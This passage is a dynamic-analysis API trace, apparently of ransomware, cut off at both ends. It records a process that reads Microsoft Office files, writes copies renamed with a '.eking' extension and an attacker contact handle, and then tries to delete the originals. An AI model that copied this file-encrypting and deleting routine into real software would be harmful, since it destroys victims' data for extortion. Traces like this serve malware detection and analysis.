(in: hFile=0x3a0, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3754) returned 1 [0253.046] CloseHandle (hObject=0x3a0) returned 1 [0253.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220 [0253.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220 [0253.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.047] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0253.047] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0253.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0253.049] ReadFile (in: hFile=0x3a0, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xeaa, lpOverlapped=0x0) returned 1 [0253.052] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xeb0, lpOverlapped=0x0) returned 1 [0253.053] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0253.053] CloseHandle (hObject=0x3a0) returned 1 [0253.054] CloseHandle (hObject=0x348) returned 1 [0253.054] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0 [0253.054] SetEvent (hEvent=0x2b8) returned 1 [0253.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.056] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1261) returned 1 [0253.056] CloseHandle (hObject=0x348) returned 1 [0253.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220 [0253.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220 [0253.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.231] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0253.231] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0253.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0253.231] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4ed, lpOverlapped=0x0) returned 1 [0253.234] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4f0, lpOverlapped=0x0) returned 1 [0253.235] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0253.235] CloseHandle (hObject=0x348) returned 1 [0253.235] CloseHandle (hObject=0x394) returned 1 [0253.236] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0 [0253.236] SetEvent (hEvent=0x2b8) returned 1 [0253.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.237] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=527958) returned 1 [0253.237] CloseHandle (hObject=0x394) returned 1 [0253.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0253.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0253.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.238] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0253.238] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0253.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0253.241] ReadFile (in: hFile=0x394, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x80e56, lpOverlapped=0x0) returned 1 [0253.262] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x80e60, lpOverlapped=0x0) returned 1 [0253.496] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0253.497] CloseHandle (hObject=0x394) returned 1 [0253.497] CloseHandle (hObject=0x348) returned 1 [0253.497] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0 [0253.498] SetEvent (hEvent=0x2b8) returned 1 [0253.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.505] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=18624) returned 1 [0253.505] CloseHandle (hObject=0x348) returned 1 [0253.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0253.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0253.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.506] SetEvent (hEvent=0x2b8) returned 1 [0253.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.508] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=18624) returned 1 [0253.508] CloseHandle (hObject=0x348) returned 1 [0253.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0253.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0253.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.509] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=21184) returned 1 [0253.509] CloseHandle (hObject=0x348) returned 1 [0253.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0253.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0253.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.513] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=19136) returned 1 [0253.513] CloseHandle (hObject=0x348) returned 1 [0253.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0253.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0253.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.514] SetEvent (hEvent=0x2b8) returned 1 [0253.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.514] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=19136) returned 1 [0253.514] CloseHandle (hObject=0x348) returned 1 [0253.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0253.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0253.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.517] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=18624) returned 1 [0253.517] CloseHandle (hObject=0x348) returned 1 [0253.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0253.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0253.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.518] SetEvent (hEvent=0x2b8) returned 1 [0253.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.519] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=11616) returned 1 [0253.519] CloseHandle (hObject=0x348) returned 1 [0253.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0253.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0253.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.520] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=19648) returned 1 [0253.520] CloseHandle (hObject=0x348) returned 1 [0253.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0253.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0253.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.523] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=22720) returned 1 [0253.524] CloseHandle (hObject=0x348) returned 1 [0253.524] GetFileAttributesW 